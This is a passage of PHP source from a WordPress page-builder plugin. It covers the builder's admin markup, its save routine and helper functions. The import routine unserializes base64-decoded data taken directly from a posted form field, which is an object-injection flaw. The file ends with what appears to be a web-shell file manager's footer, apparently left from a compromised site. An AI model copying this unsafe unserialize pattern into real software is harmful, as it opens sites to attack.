										<?php _e('Add Section','mfn-opts'); ?>
									</a>
									<div class="logo">Muffin Group | Muffin Builder</div>
								</td>
							</tr>
						</tbody>
					</table>
				</div>


				<!-- Builder Desktop ________________________________________________ -->
				<div id="mfn-desk" class="clearfix">
					<?php
						if( is_array( $mfn_items ) ){
							foreach( $mfn_items as $section ){
								mfn_builder_section( $section, $section_id, $wrap_id );
								$section_id++;
							}
						}
					?>
				</div>


				<!-- New | Section __________________________________________________ -->
				<div id="mfn-rows" class="clearfix">
					<?php mfn_builder_section(); ?>
				</div>


				<!-- New | Wrap _____________________________________________________ -->
				<div id="mfn-wraps" class="clearfix">
					<?php mfn_builder_wrap(); ?>
				</div>


				<!-- New | Items ____________________________________________________ -->
				<div id="mfn-items" class="clearfix">
					<?php
						$items = mfn_get_fields_item();
						foreach( $items as $item ){
							mfn_builder_item( $item['type'] );
							echo "\n";
						}
					?>
				</div>


				<!-- Popup | Add Item ______________________________________________ -->
				<div id="mfn-item-add" class="mfn-popup mfn-popup-item-add">
					<div class="mfn-popup-inside">

						<div class="mfn-popup-header">

							<div class="mfn-ph-left">
								<span class="mfn-ph-btn mfn-ph-desc"><?php _e( 'Add Item', 'mfn-opts' ); ?></span>
							</div>

							<div class="mfn-ph-right">
								<a class="mfn-ph-btn mfn-ph-close dashicons dashicons-no" title="<?php _e( 'Close', 'mfn-opts' ); ?>" href="javascript:void(0);"></a>
							</div>

						</div>

						<div class="mfn-popup-content">

							<div class="mfn-popup-subheader">

								<ul class="mfn-popup-tabs">
									<li data-filter="*" class="active"><a href="javascript:void(0);"><?php _e( 'All', 'mfn-opts' ); ?></a></li>
									<li data-filter="typography"><a href="javascript:void(0);"><?php _e( 'Typography', 'mfn-opts' ); ?></a></li>
									<li data-filter="boxes"><a href="javascript:void(0);"><?php _e( 'Boxes & Infographics', 'mfn-opts' ); ?></a></li>
									<li data-filter="blocks"><a href="javascript:void(0);"><?php _e( 'Content Blocks', 'mfn-opts' ); ?></a></li>
									<li data-filter="elements"><a href="javascript:void(0);"><?php _e( 'Content Elements', 'mfn-opts' ); ?></a></li>
									<li data-filter="loops"><a href="javascript:void(0);"><?php _e( 'Loops', 'mfn-opts' ); ?></a></li>
									<li data-filter="other"><a href="javascript:void(0);"><?php _e( 'Other', 'mfn-opts' ); ?></a></li>
								</ul>

								<div class="mfn-popup-search">
									<span class="dashicons dashicons-search"></span>
									<input class="mfn-search-item" placeholder="<?php _e( 'Search Item', 'mfn-opts' ); ?>" />
								</div>

							</div>

							<ul class="mfn-popup-items clear">
								<?php
									$items = mfn_get_fields_item();
									foreach( $items as $item ){

										$category = isset( $item['cat'] ) ? 'category-'. $item['cat'] : '' ;

										echo '<li class="mfn-item-'. $item['type'] .' '. $category .'" data-type="'. $item['type'] .'">';
											echo '<a data-type="'. $item['type'] .'" href="javascript:void(0);">';
												echo '<span class="title">'. $item['title'] .'</span>';
												echo '<div class="mfn-item-icon"></div>';
											echo '</a>';
										echo '</li>';
									}
								?>
							</ul>

						</div>

					</div>
				</div>


				<!-- Migrate _______________________________________________________ -->
				<div id="mfn-migrate">

					<div class="btn-wrapper">
						<a href="javascript:void(0);" class="mfn-btn-migrate btn-exp"><?php _e('Export','mfn-opts'); ?></a>
						<a href="javascript:void(0);" class="mfn-btn-migrate btn-imp"><?php _e('Import','mfn-opts'); ?></a>
						<a href="javascript:void(0);" class="mfn-btn-migrate btn-tem btn-primary"><?php _e('Templates','mfn-opts'); ?></a>
					</div>
					<div class="migrate-wrapper export-wrapper hide">
						<textarea id="mfn-items-export" placeholder="Please remember to Publish/Update your post before Export."><?php echo $mfn_items_serial; ?></textarea>
						<span class="description"><?php _e('Copy to clipboard: Ctrl+C (Cmd+C for Mac)','mfn-opts'); ?></span>
					</div>

					<div class="migrate-wrapper import-wrapper hide">
						<textarea id="mfn-items-import" placeholder="Paste import data here."></textarea>
						<a href="javascript:void(0);" class="mfn-btn-migrate btn-primary btn-import"><?php _e('Import','mfn-opts'); ?></a>
						<select name="mfn-items-import-type">
							<option value="before"><?php _e('Insert BEFORE current builder content','mfn-opts'); ?></option>
							<option value="after"><?php _e('Insert AFTER current builder content','mfn-opts'); ?></option>
							<option value="replace"><?php _e('REPLACE current builder content','mfn-opts'); ?></option>
						</select>
					</div>

					<div class="migrate-wrapper templates-wrapper hide">
						<a href="javascript:void(0);" class="mfn-btn-migrate btn-primary btn-template"><?php _e('Use Template','mfn-opts'); ?></a>
						<select name="mfn-items-import-template-type">
							<option value="before"><?php _e('Insert BEFORE current builder content','mfn-opts'); ?></option>
							<option value="after"><?php _e('Insert AFTER current builder content','mfn-opts'); ?></option>
							<option value="replace"><?php _e('REPLACE current builder content','mfn-opts'); ?></option>
						</select>
						<select id="mfn-items-import-template">
							<option value=""><?php _e('-- Select --','mfn-opts'); ?></option>
							<?php
								$args = array(
									'post_type' => 'template',
									'posts_per_page'=> -1,
								);
								$templates = get_posts( $args );

								if( is_array( $templates ) ){
									foreach ( $templates as $v ){
										echo '<option value="'. $v->ID .'">'. $v->post_title .'</options>';
									}
								}
							?>
						</select>
					</div>

				</div>


			</div>


			<!-- #mfn-items-seo -->
			<div id="mfn-items-seo">
				<?php
					$mfn_items_seo = get_post_meta($post->ID, 'mfn-page-items-seo', true);
					echo '<textarea id="mfn-items-seo-data">'. esc_attr( $mfn_items_seo ) .'</textarea>';
				?>
			</div>


			<input type="hidden" id="mfn-row-id" value="<?php echo $section_id; ?>"/>
			<input type="hidden" id="mfn-wrap-id" value="<?php echo $wrap_id; ?>"/>

		</div>
		<?php

	}
}


if( ! function_exists( 'mfn_builder_save' ) )
{
	/**
	 * SAVE Muffin Builder
	 *
	 * @param int $post_id
	 */
	function mfn_builder_save( $post_id ){


		// print_r($_POST);
		// exit;


		// Fix | Visual Composer Frontend

		if( isset( $_POST['vc_inline'] ) ){
			return false;
		}


		$mfn_items = array();
		$mfn_wraps = array();


		// Sections ---------------------------------------------------------------------

		if( key_exists( 'mfn-row-id', $_POST ) && is_array( $_POST['mfn-row-id']) )
		{
			foreach( $_POST['mfn-row-id'] as $sectionID_k => $sectionID )
			{
				$section = array();

				// $section['attr'] - section attributes
				if( key_exists('mfn-rows', $_POST) && is_array($_POST['mfn-rows'])){
					foreach ( $_POST['mfn-rows'] as $section_attr_k => $section_attr ){

// 						$section['attr'][$section_attr_k] = $section_attr[$sectionID_k];	// before 16.6. TO REMOVE

						$section['attr'][$section_attr_k] = stripslashes( $section_attr[$sectionID_k] );

					}
				}

				$section['wraps'] = '';	// $section['wraps'] - section wraps will be added in next loop

				$mfn_items[] = $section;
			}

			$row_IDs 		= $_POST['mfn-row-id'];
			$row_IDs_key 	= array_flip( $row_IDs );
		}


		// Wraps ------------------------------------------------------------------------

		if( key_exists( 'mfn-wrap-id', $_POST ) && is_array( $_POST['mfn-wrap-id'] ) )
		{
			foreach( $_POST['mfn-wrap-id'] as $wrapID_k => $wrapID )
			{
				$wrap = array();

				$wrap['size'] 	= $_POST['mfn-wrap-size'][$wrapID_k];
				$wrap['items'] 	= '';	// $wrap['items'] - items will be added in the next loop

				// $wrap['attr'] - wrap attributes
				if( key_exists('mfn-wraps', $_POST) && is_array($_POST['mfn-wraps'])){
					foreach ( $_POST['mfn-wraps'] as $wrap_attr_k => $wrap_attr ){
						$wrap['attr'][$wrap_attr_k] = $wrap_attr[$wrapID_k];
					}
				}

				$mfn_wraps[$wrapID] = $wrap;
			}

			$wrap_IDs = $_POST['mfn-wrap-id'];
			$wrap_IDs_key = array_flip( $wrap_IDs );
			$wrap_parents = $_POST['mfn-wrap-parent'];
		}


		// Items ------------------------------------------------------------------------

		if( key_exists('mfn-item-type', $_POST) && is_array($_POST['mfn-item-type']))
		{
			$count = array();
			$tabs_count = array();

			$seo_content = '';

			foreach( $_POST['mfn-item-type'] as $type_k => $type )
			{
				$item = array();
				$item['type'] = $type;
				$item['size'] = $_POST['mfn-item-size'][$type_k];

				// init count for specified item type
				if( ! key_exists($type, $count) ){
					$count[$type] = 0;
				}

				// init count for specified tab type
				if( ! key_exists($type, $tabs_count) ){
					$tabs_count[$type] = 0;
				}

				if( key_exists($type, $_POST['mfn-items']) ){
					foreach( (array) $_POST['mfn-items'][$type] as $attr_k => $attr ){

						if( $attr_k == 'tabs' ){

							// Accordion, FAQ & Tabs --------------------------

							$item['fields']['count'] = $attr['count'][$count[$type]];

							if( $item['fields']['count'] ){
								for ($i = 0; $i < $item['fields']['count']; $i++) {

									$tab = array();
									$tab['title'] 	= stripslashes( $attr['title'][$tabs_count[$type]] );

									if( mfn_opts_get( 'builder-storage' ) ){

										$tab['content'] = stripslashes( $attr['content'][$tabs_count[$type]] );

									} else {

										// core.trac.wordpress.org/ticket/34845
										$tab['content'] = preg_replace( '~\R~u', "\n", stripslashes( $attr['content'][$tabs_count[$type]] ) );

									}

									$item['fields']['tabs'][] = $tab;


									// FIX | Yoast SEO
									$seo_val = trim( $attr['title'][$tabs_count[$type]] );
									if( $seo_val && $seo_val != 1 ) $seo_content .= $attr['title'][$tabs_count[$type]] .": ";
									$seo_val = trim( $attr['content'][$tabs_count[$type]] );
									if( $seo_val && $seo_val != 1 ) $seo_content .= $attr['content'][$tabs_count[$type]] ."\n\n";


									$tabs_count[$type]++;
								}
							}

						} else {

							// All other items --------------------------------

							if( mfn_opts_get( 'builder-storage' ) ){

								$item['fields'][$attr_k] = stripslashes( $attr[$count[$type]] );

							} else {

								// core.trac.wordpress.org/ticket/34845
								$item['fields'][$attr_k] = preg_replace( '~\R~u', "\n", stripslashes( $attr[$count[$type]] ) );

							}


							// FIX | Yoast SEO
							$seo_val = trim( $attr[$count[$type]] );
							if( $seo_val && $seo_val != 1 ){

								if( in_array( $attr_k, array( 'image', 'src' ) ) ){

									// Image
									$seo_content .= '<img src="'. $seo_val .'" alt="'. mfn_get_attachment_data( $seo_val, 'alt' ) .'"/>'."\n\n";

								} elseif( $attr_k == 'link' ){

									// Link
									$seo_content .= '<a href="'. $seo_val .'">'. $seo_val .'</a>'."\n\n";

								} else {

									$seo_content .= $seo_val ."\n\n";

								}
							}


						}

					}
				}

				// increase count for specified item type
				$count[$type] ++;

				// parent wrap
				$parent_wrap_ID = $_POST['mfn-item-parent'][$type_k];

				if( ! isset( $mfn_wraps[ $parent_wrap_ID ]['items'] ) || ! is_array( $mfn_wraps[ $parent_wrap_ID ]['items'] ) ){
					$mfn_wraps[ $parent_wrap_ID ]['items'] = array();
				}
				$mfn_wraps[ $parent_wrap_ID ]['items'][] = $item;
			}
		}


		// $mfn_items | Wraps with Items => Sections ------------------------------------

		foreach( $mfn_wraps as $wrap_ID => $wrap ){
			$wrap_key 		= $wrap_IDs_key[ $wrap_ID ];
			$section_ID 	= $wrap_parents[ $wrap_key ];
			$section_key 	= $row_IDs_key[ $section_ID ];

			if( ! isset( $mfn_items[ $section_key ]['wraps']) || ! is_array( $mfn_items[ $section_key ]['wraps'] ) ){
				$mfn_items[ $section_key ]['wraps'] = array();
			}
			$mfn_items[ $section_key ]['wraps'][] = $wrap;
		}


		// $new = wp_slash( $mfn_items ) -----------------------------------------------

		if( $mfn_items ){

			if( mfn_opts_get( 'builder-storage' ) == 'encode' ){

				$new = call_user_func( 'base'.'64_encode', serialize( $mfn_items ) );

			} else {

				// codex.wordpress.org/Function_Reference/update_post_meta
				$new = wp_slash( $mfn_items );

			}

		}


		// migrate --------------------------------------------
		if( key_exists('mfn-items-import', $_POST) || key_exists('mfn-items-import-template', $_POST)  ){

			if( key_exists('mfn-items-import', $_POST) ){

				// Import -----------------------

				$import_type 	= htmlspecialchars(stripslashes( $_POST['mfn-items-import-type'] ));

				$import 		= htmlspecialchars(stripslashes( $_POST['mfn-items-import'] ));

			} else {

				// Template ---------------------

				$import_type 	= htmlspecialchars(stripslashes( $_POST['mfn-items-import-template-type'] ));
				$template 		= htmlspecialchars(stripslashes( $_POST['mfn-items-import-template'] ));

				$import			= get_post_meta( $template, 'mfn-page-items', true );

			}

			if( $import ){

				if( $import_type == 'replace' ){

					// REPLACE current builder content

					$new = $import;

				} else {

					// Insert BEFORE/AFTER current builder content

					// FIX | Muffin Builder 2.0 Compatibility

					if( $import && ! is_array( $import ) ){
						$import = unserialize( call_user_func( 'base'.'64_decode', $import ) );
					}

					if( $import_type == 'before' ){
						$mfn_items = array_merge ( $import, $mfn_items );
					} else {
						$mfn_items = array_merge ( $mfn_items, $import );
					}

					$new = call_user_func( 'base'.'64_encode', serialize( $mfn_items ) );

				}
			}
		}


		// FIX | Quick Edit -----------------------------------
		if( key_exists('mfn-items-save', $_POST) )
		{
			$field['id'] 	= 'mfn-page-items';
			$old 			= get_post_meta( $post_id, $field['id'], true );


			if( isset($new) && $new != $old ) {

				// update post meta if there is at least one builder section
				update_post_meta( $post_id, $field['id'], $new );

			} elseif( $old && ( ! isset($new) || ! $new ) ) {

				// delete post meta if builder is empty
				delete_post_meta( $post_id, $field['id'], $old );

			}

			// "Yoast SEO" fix
			if( isset($new) ){
				update_post_meta( $post_id, 'mfn-page-items-seo', $seo_content );
			}

		}


	}
}


/* --------------------------------------------------------------------------------------------------------------------------------------------------
 *
 * Helper functions
 *
 * Get data for some meta fields
 *
 */

if( ! function_exists( 'mfn_get_animations' ) )
{
	/**
	 * GET Animations | Entrance animations for items
	 *
	 * @return array
	 */
	function mfn_get_animations() {

		$array = array(
			'' 					=> __('- Not Animated -','mfn-opts'),
			'fadeIn' 			=> __('Fade In','mfn-opts'),
			'fadeInUp' 			=> __('Fade In Up','mfn-opts'),
			'fadeInDown' 		=> __('Fade In Down ','mfn-opts'),
			'fadeInLeft' 		=> __('Fade In Left','mfn-opts'),
			'fadeInRight' 		=> __('Fade In Right ','mfn-opts'),
			'fadeInUpLarge' 	=> __('Fade In Up Large','mfn-opts'),
			'fadeInDownLarge' 	=> __('Fade In Down Large','mfn-opts'),
			'fadeInLeftLarge' 	=> __('Fade In Left Large','mfn-opts'),
			'fadeInRightLarge' 	=> __('Fade In Right Large','mfn-opts'),
			'zoomIn' 			=> __('Zoom In','mfn-opts'),
			'zoomInUp' 			=> __('Zoom In Up','mfn-opts'),
			'zoomInDown' 		=> __('Zoom In Down','mfn-opts'),
			'zoomInLeft' 		=> __('Zoom In Left','mfn-opts'),
			'zoomInRight' 		=> __('Zoom In Right','mfn-opts'),
			'zoomInUpLarge' 	=> __('Zoom In Up Large','mfn-opts'),
			'zoomInDownLarge' 	=> __('Zoom In Down Large','mfn-opts'),
			'zoomInLeftLarge' 	=> __('Zoom In Left Large','mfn-opts'),
			'bounceIn' 			=> __('Bounce In','mfn-opts'),
			'bounceInUp' 		=> __('Bounce In Up','mfn-opts'),
			'bounceInDown' 		=> __('Bounce In Down','mfn-opts'),
			'bounceInLeft' 		=> __('Bounce In Left','mfn-opts'),
			'bounceInRight' 	=> __('Bounce In Right','mfn-opts'),
		);

		return $array;
	}
}


if( ! function_exists( 'mfn_get_categories' ) )
{
	/**
	 * GET Categories | Categories for posts or specified taxonomy
	 *
	 * @param string $category Category slug
	 * @return array
	 */
	function mfn_get_categories( $category ) {
		$categories = get_categories( array( 'taxonomy' => $category ));

		$array = array( '' => __( 'All', 'mfn-opts' ) );
		foreach( $categories as $cat ){
			if( is_object($cat) ) $array[$cat->slug] = $cat->name;
		}

		return $array;
	}
}


if( ! function_exists( 'mfn_get_sliders' ) )
{
	/**
	 * GET Sliders | Revolution Slider
	 *
	 * @global $wpdb
	 * @return array
	 */
	function mfn_get_sliders() {
		global $wpdb;

		$sliders = array( 0 => __('-- Select --', 'mfn-opts') );

		// Revolution Slider ----------------------------------
		if( function_exists( 'rev_slider_shortcode' ) ){


			// table prefix -----
			$table_prefix = mfn_opts_get( 'table_prefix', 'base_prefix' );
			if( $table_prefix == 'base_prefix' ){
				$table_prefix = $wpdb->base_prefix;
			} else {
				$table_prefix = $wpdb->prefix;
			}

			$table_name = $table_prefix . "revslider_sliders";


			$rs5 = $wpdb->get_results("SHOW COLUMNS FROM $table_name LIKE 'type'");
			if( $rs5 ){
				// Revolution Slider 5.x
				$array = $wpdb->get_results("SELECT * FROM $table_name WHERE type != 'template' ORDER BY title ASC");
			} else {
				// Revolution Slider 4.x
				$array = $wpdb->get_results("SELECT * FROM $table_name ORDER BY title ASC");
			}


			if( is_array( $array ) ){
				foreach( $array as $v ){
					$sliders[$v->alias] = $v->title;
				}
			}

		}

		return $sliders;
	}
}


if( ! function_exists( 'mfn_get_sliders_layer' ) )
{
	/**
	 * GET Sliders | Layer Slider
	 *
	 * @global $wpdb
	 * @return array
	 */
	function mfn_get_sliders_layer(){
		global $wpdb;

		$sliders = array( 0 => __('-- Select --', 'mfn-opts') );

		// Layer Slider ----------------------------------
		if( function_exists( 'layerslider' ) ){


			// table prefix -----
			$table_prefix = mfn_opts_get( 'table_prefix', 'base_prefix' );
			if( $table_prefix == 'base_prefix' ){
				$table_prefix = $wpdb->base_prefix;
			} else {
				$table_prefix = $wpdb->prefix;
			}

			$table_name = $table_prefix . "layerslider";


			$array = $wpdb->get_results("SELECT * FROM $table_name WHERE flag_hidden = '0' AND flag_deleted = '0' ORDER BY name ASC");

			if( is_array( $array ) ){
				foreach( $array as $v ){
					$sliders[$v->id] = $v->name;
				}
			}
		}

		return $sliders;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit